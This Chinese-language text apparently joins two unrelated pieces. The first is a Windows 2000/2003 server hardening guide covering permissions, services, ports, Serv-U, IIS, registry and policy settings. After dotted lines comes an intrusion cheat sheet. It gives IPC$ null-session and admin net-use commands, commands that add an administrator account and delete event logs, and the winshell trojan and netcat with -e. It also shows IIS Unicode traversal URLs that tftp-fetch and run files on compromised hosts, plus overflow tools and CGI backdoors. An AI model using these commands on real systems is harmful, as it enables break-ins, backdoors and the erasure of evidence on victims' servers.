1:C盘只给administrators 和system权限,其他的权限不给,
其他的盘也可以这样设置,这里给的system权限也不一定需要给,
只是由于某些第三方应用程序是以服务形式启动的,需要加上这个用户,否则造成启动不了
2:Windows目录要加上给users的默认权限,否则ASP和ASPX等应用程序就无法运行。
以前有朋友单独设置Instsrv和temp等目录权限,其实没有这个必要的
3:另外在c:/Documents and Settings/这里相当重要,后面的目录里的权限根本不会继承从前的设置,
如果仅仅只是设置了C盘给administrators权限,而在All Users/Application Data目录下会
出现everyone用户有完全控制权限,这样入侵这可以跳转到这个目录,写入脚本或只文件,
再结合其他漏洞来提升权限;譬如利用serv-u的本地溢出提升权限,或系统遗漏有补丁,数据库的弱点,
甚至社会工程学等等N多方法,从前不是有牛人发飑说:"只要给我一个webshell,我就能拿到system",
这也的确是有可能的。在用做web/ftp服务器的系统里,建议是将这些目录都设置的锁死。
其他每个盘的目录都按照这样设置,没个盘都只给adinistrators权限。
4:另外,还将:net.exe,cmd.exe,tftp.exe,netstat.exe,regedit.exe,at.exe,attrib.exe,cacls.exe,
这些文件都设置只允许administrators访问
5:把不必要的服务都禁止掉,尽管这些不一定能被攻击者利用得上,但是按照安全规则和标准上来说,多余的东西就没必要开启,减少一份隐患。
在"网络连接"里,把不需要的协议和服务都删掉,这里只安装了基本的Internet协议(TCP/IP),由于要控制带宽流量服务,
额外安装了Qos数据包计划程序。在高级tcp/ip设置里--"NetBIOS"设置"禁用tcp/IP上的NetBIOS(S)"。
在高级选项里,使用"Internet连接防火墙",这是windows 2003 自带的防火墙,在2000系统里没有的功能
,虽然没什么功能,但可以屏蔽端口,这样已经基本达到了一个IPSec的功能
6:这里我们按照所需要的服务开放响应的端口。在2003系统里,不推荐用TCP/IP筛选里的端口过滤功能,譬如在使用FTP服务器的时候
,如果仅仅只开放21端口,由于FTP协议的特殊性,在进行FTP传输的时候,由于FTP 特有的Port模式和Passive模式,
在进行数据传输的时候,需要动态的打开高端口,所以在使用TCP/IP过滤的情况下,经常会出现连接上后无法列出目录和数据传输的问题。
所以在2003系统上增加的windows连接防火墙能很好的解决这个问题,所以都不推荐使用网卡的TCP/IP过滤功能。
7:SERV-U FTP 服务器的设置:
一般来说,不推荐使用srev-u做ftp服务器,主要是漏洞出现的太频繁了,但是也正是因为其操作简单,功能强大,过于流行,关注的人也多,才被发掘出bug来,
换做其他的ftp服务器软件也一样不见得安全到哪儿去。
当然,这里也有款功能跟serv-u同样强大,比较安全的ftp软件:Ability FTP Server
下载地址:
http://www.315safe.com/showarticle.asp?NewsID=4096 设置也很简单,不过我们这里还是要迎合大众胃口,说说关于serv-u的安全设置。
首先,6.0比从前5.x版本的多了个修改本地LocalAdministrtaor的密码功能,
其实在5.x版本里可以用ultraedit-32等编辑器修改serv-u程序体进行修改密码端口,6.0修补了这个隐患,单独拿出来方便了大家
。不过修改了管理密码的serv-u是一样有安全隐患的,两个月前臭要饭的就写了新的采用本地sniff方法获取serv-u的管理密码的exploit,
正在网上火卖着,不过这种sniff的方法,同样是在获得webshell的条件后还得有个能在目录里有"执行"的权限,
并且需要管理员再次登陆运行serv-u administrator的时候才能成功。所以我们的管理员要尽量避上以上几点因素,也是可以防护的。
8:另外serv-u的几点常规安全需要设置下:
选中"Block "FTP_bounce"attack and FXP"。什么是FXP呢?通常,当使用FTP协议进行文件传输时,
客户端首先向FTP服务器发出一个"PORT"命令,该命令中包含此用户的IP地址和将被用来进行数据传输的端口号,
服务器收到后,利用命令所提供的用户地址信息建立与用户的连接。大多数情况下,上述过程不会出现任何问题,
但当客户端是一名恶意用户时,可能会通过在PORT命令中加入特定的地址信息,使FTP服务器与其它非客户端的机器建立连接。
虽然这名恶意用户可能本身无权直接访问某一特定机器,但是如果FTP服务器有权访问该机器的话,那么恶意用户
就可以通过FTP服务器作为中介,仍然能够最终实现与目标服务器的连接。这就是FXP,也称跨服务器攻击。选中后就可以防止发生此种情况
9:另外在"Block anti time-out schemes"也可以选中。其次,在"Advanced"选项卡中,检查 "Enable security"是否被选中,如果没有,选择它们。
10:IIS的安全: 删掉c:/inetpub目录,删除iis不必要的映射
11:在IIS里的站点属性里"目录安全性"---"身份验证和访问控制"里设置匿名访问使用下列Windows 用户帐户"的用户名密码都使
用www.315safe.com 这个用户的信息.在这个站点相对应的web目录文件,默认的只给IIS用户的读取和写入权限(后面有更BT的设置要介绍)。
12:在"应用程序配置"里,我们给必要的几种脚本执行权限:ASP.ASPX,PHP,
ASP,ASPX默认都提供映射支持了的,对于PHP,需要新添加响应的映射脚本,然后在web服务扩展将ASP,ASPX都设置为允许,对于php以及CGI的支持,
需要新建web服务扩展,在扩展名(X):下输入 php ,再在要求的文件(E):里添加地址 C:/php/sapi/php4isapi.dll ,
并勾选设置状态为允许(S)。然后点击确定,这样IIS就支持PHP了。支持CGI同样也是如此。
13:要支持ASPX,还需要给web根目录给上users用户的默认权限,才能使ASPX能执行。
14:另外在应用程序配置里,设置调试为向客户端发送自定义的文本信息,这样能对于有ASP注入漏洞的站点,可以不反馈程序报错的信息,能够避免一定程度的攻击。
15:在自定义HTTP错误选项里,有必要定义下譬如404,500等错误,不过有有时候为了调试程序,好知道程序出错在什么地方,建议只设置404就可以了。
16:IIS6.0由于运行机制的不同,出现了应用程序池的概念。一般建议10个左右的站点共用一个应用程序池,应用程序池对于一般站点可以采用默认设置,
可以在每天凌晨的时候回收一下工作进程。
17:附件:详细见
http://digi.it.sohu.com/20050512/n240049707.shtml 禁用那些用不到的服务:Alerter、ClipBook、Computer Browser、 Distributed File System、Indexing Service、Internet Connection Sharing、Messenger
、NetMeeting Remote Desktop Sharing、Print Spooler、Remote Registry Service、Smart Card、Task Scheduler、TCP/IP NetBIOS
Helper Service、Telnet、Windows Time、Workstation.关于为什么禁用Workstation服务我会在下面说到
3.端口的配置
下面我来说一下怎样关闭常见的危险端口和一些无用的共享,如:默认共享。
在本地连接-属性中,把"Microsoft网络的文件和打印机共享"卸载掉。
在选定的组件中之留下TCP/IP协议和Microsoft网络客户端.大家可能会说为什么要留Microsoft网络客户端,根据前几天的调试, 如果不装它的话,重新启动IIS的时候会提示“服务不能启动,无法验证的服务”。选中TCP/IP协议-属性-高级-WINS-禁用TCP/IP上的 Netbios选项。把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ GraphicsDrivers\DCI,Timeout双字节值改为0。建议大家设为0.这个键值对玩游戏有用,做虚拟主机我们用不到。
把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa项下的数值restrictanonymous,由0改为1。
在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters项下新建双字节值AutoShareServer值为0。
在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters项下新建双字节值SMBDeviceEnabled值为0。
在防火墙中添加IP规则,允许21、25、80、110。禁止135端口。最后启动禁止所有别的端口的通过。
我们也可以通过系统自带的本地安全策略和TCP/IP筛选来设置相应打开和关闭的端口。
在C:\Program Files\Common Files文件夹属性对话框安全选项卡中,取消"允许将来自父系的可继承权限传播给该对象",访问权 限设成redblood、system完全控制,everyone读取及运行、列出文件夹目录、读取。因为ASP连接数据库的时候会用到这个目录。然后把 WINNT目录也按照同样的方法来设置成和Common Files文件夹同样的权限。
我们还要特殊设置一个目录那就是C:\WINNT\Temp,这个目录的访问权限是everyone修改、读取及运行、列出文件夹目录、读取、写入。
把如下文件设置成只有redblood完全控制权限,取消父系继承来的权限。这些文件有:C:\winnt\sytem32文件夹和C:\ winnt\sytem32\dllcache文件夹的net.exe、net1.exe、netstat、netsh、cacls、cmd.exe、ftp.exe、tftp.exe、at.exe、format.com、xcopy.exe.
禁用一些不安全的组件,如:Scripting.FileSystemObject、WScript.Shell、Shell.Application组件。
Scripting.FileSystemObject组件:
我们可以修改对应项在注册表里面的名称和值:
HKEY_CLASSES_ROOT\Scripting.FileSystemObject\
HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值
WScript.Shell组件:
HKEY_CLASSES_ROOT\WScript.Shell\
HKEY_CLASSES_ROOT\WScript.Shell.1\
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值
Shell.Application组件:
HKEY_CLASSES_ROOT\Shell.Application\
HKEY_CLASSES_ROOT\Shell.Application.1\
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\项目的值
在这里我直接注销下面两个组件:
regsvr32 /u C:\WINNT\System32\wshom.ocx对应于WScript.Shell组件。
regsvr32/u C:\WINNT\System32\shell32.dll对应于Shell.Application组件。
禁止guests组的用户调用它:
cacls C:\WINNT\system32\scrrun.dll /e /d guests
cacls C:\WINNT\system32\shell32.dll /e /d guests
5.修改注册表提高系统安全和性能
下面我使用注册表和组策略一起来设置系统。
开始-运行-gpeidt.msc打开组策略,计算机配置-Windows配置-安全设置-帐户策略-密码策略.
下面是我的策略设置:
密码策略
密码必须符合复杂性要求:启用
密码长度最小值:8个字符
密码最长存留期:30天
密码最短存留期:3天
强制密码历史:5个记住的密码
帐户锁定策略设置
复位帐户锁定计数器:20分钟之后
帐户销定时间:20分钟
帐户锁定阀值:5次无效登录
计算机配置-Windows配置-安全设置-本地策略,审核策略设置:
审核策略更改:成功、失败
审核登录事件:成功、失败
审核对象访问:失败
审核过程追踪:无审核
审核目录服务访问:无审核
审核特权使用:失败
审核系统事件:失败
审核帐户登录事件:成功、失败
审核帐户管理:成功、失败
计算机配置-Windows配置-安全设置-本地策略-用户权限指派
更改系统时间:administrators
关闭系统:administrators
管理审核和安全日志:administrators
计算机配置-Windows配置-安全设置-本地策略-安全选项
登录屏幕上不要显示上次登录的用户名:已启用
对匿名连接的额个限制:不允许枚举 SAM 帐号和共享
故障恢复控制台:允许对所以驱动器和文件夹进行软盘复制和访问:已启用
在关机时清理虚拟内存页面交换文件:已启用
重命名来宾帐户:我命名成administrator。
重命名系统管理员帐户:redblood
在本地用户和组中把来宾用户和系统管理员的描述互换一下,这样可以起一个迷惑的作用。算是一个很无聊的小把戏吧。我们再添加一个系统管理员帐户,这 样可以防止如果忘记了口令可以及时的恢复系统,如果骇客进入系统改了密码,我们可以很快的取得系统的控制权。大家一定要给系统管理员设置一个强壮的密码, 最少也得8位以上,由大小字母+数字组成。
通过修改系统注册表的自启动项目把一些无用的启动项删除掉,以下是常见的各启动项:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce
以上这几个启动项是木马出现很频繁的地方,大家以后维护的时候多注意一些。
6.FTP服务器配置
FTP服务器除了对所在的文件夹设置权限之外,还可以修改一下Banner,这种方法可以迷惑一些骇客,让他
在表面上认为我们的FTP的服务器不是Serv-u,下面我说一下设置的方法:
右键单击托盘区的Serv-u图标,启动管理员-本地服务器-域-设置-常规-消息选项卡的服务器响应消息下,将服务器ID文本设为: "Welcome Wu-Ftpd V2.6.2 for SCO Unix." 在HELP命令回复下设置成: "Direct comments or bugs to admin@xxx.com. 我们在给FTP服务器启动的时候设上密码。这样启动Serv-u的时候
就会让我们输入密码。
7.远程控制配置(2000系统)
这里我选用Win系统自带的远程控制软件终端服务,选择远程管理模式。为远程登录启动日志记录:
开始-程序-管理工具-终端服务配置-连接-rdp/tcp-右键-属性-权限-添加administrators组-高级-审核-添加everyone组,选择审核的项目为登录和注销。
.................
.................
.................
.................
常用的几条net命令:
(与远程主机建立空管连接) net use \\ip地址\ipc$ "" /use:""
(以管理员身份登录远程主机) net use \\ip地址\ipc$ "密码" /use:"administrator"
(传送文件到远程主机winnt目录下)copy 本机目录路径\程序 \\ip地址\admin$
(查看远程主机时间) net time \\ip地址
(定时启动某个程序) at \\ip地址 02:18 readme.exe
(查看共享) net view \\ip地址
(查看netbios工作组列表) nbtstat -a ip地址
(将远程主机c盘映射为自己的f盘) net use f: \\ip地址\c$ ""/user:"administrator"
(这两条把自己增加到管理员组): net user 用户名 密码 /add
net localgroup administrators 用户名 /add
(断开连接) net use \\ip地址\ipc$ /delete
扫尾:
del c:\winnt\system32\logfiles\*.*
del c:\winnt\ssytem32\config\*.evt
del c:\winnt\system32\dtclog\*.*
del c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt
del c:\winnt\*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc /list \\ip地址
netsvc schedule \\ip地址 /query
netsvc \\ip地址 schedule /start
二、opentelnet.exe
远程启动主机的telnet服务,并绑定端口到7878,例如:
opentelnet \\ip地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口,进入dos方式下:
telnet ip地址 7878
三、winshell.exe
一个非常小的木马(不到6k),telnet到主机的7878端口,输入密码winshell,当看到cmd>后,可打下面的命令:
p path (查看winshell主程序的路径信息)
b reboot (重新启动机器)
d shutdown (关闭机器)
s shell (执行后你就会看到可爱的“c:\>”)
x exit (退出本次登录会话,此命令并不终止winshell的运行)
cmd>
http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,gui方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s \\ip地址 -l "application" -c
elsave -s \\ip地址 -l "system" -c
elsave -s \\ip地址 -l "security" -c
执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-g num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的ip地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u udp模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
八、tftpd32.exe
把自己的电脑临时变为一台ftp服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用unicode漏洞或telnet到肉鸡,例如:
http://ip地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机ip地址 get 文件名 c:\winnt\system32\文件名
然后可以直接令文件运行:
http://ip地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是iis的printer远程缓冲区溢出工具
idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有asp执行权限的目录。然后用ie浏览器连接。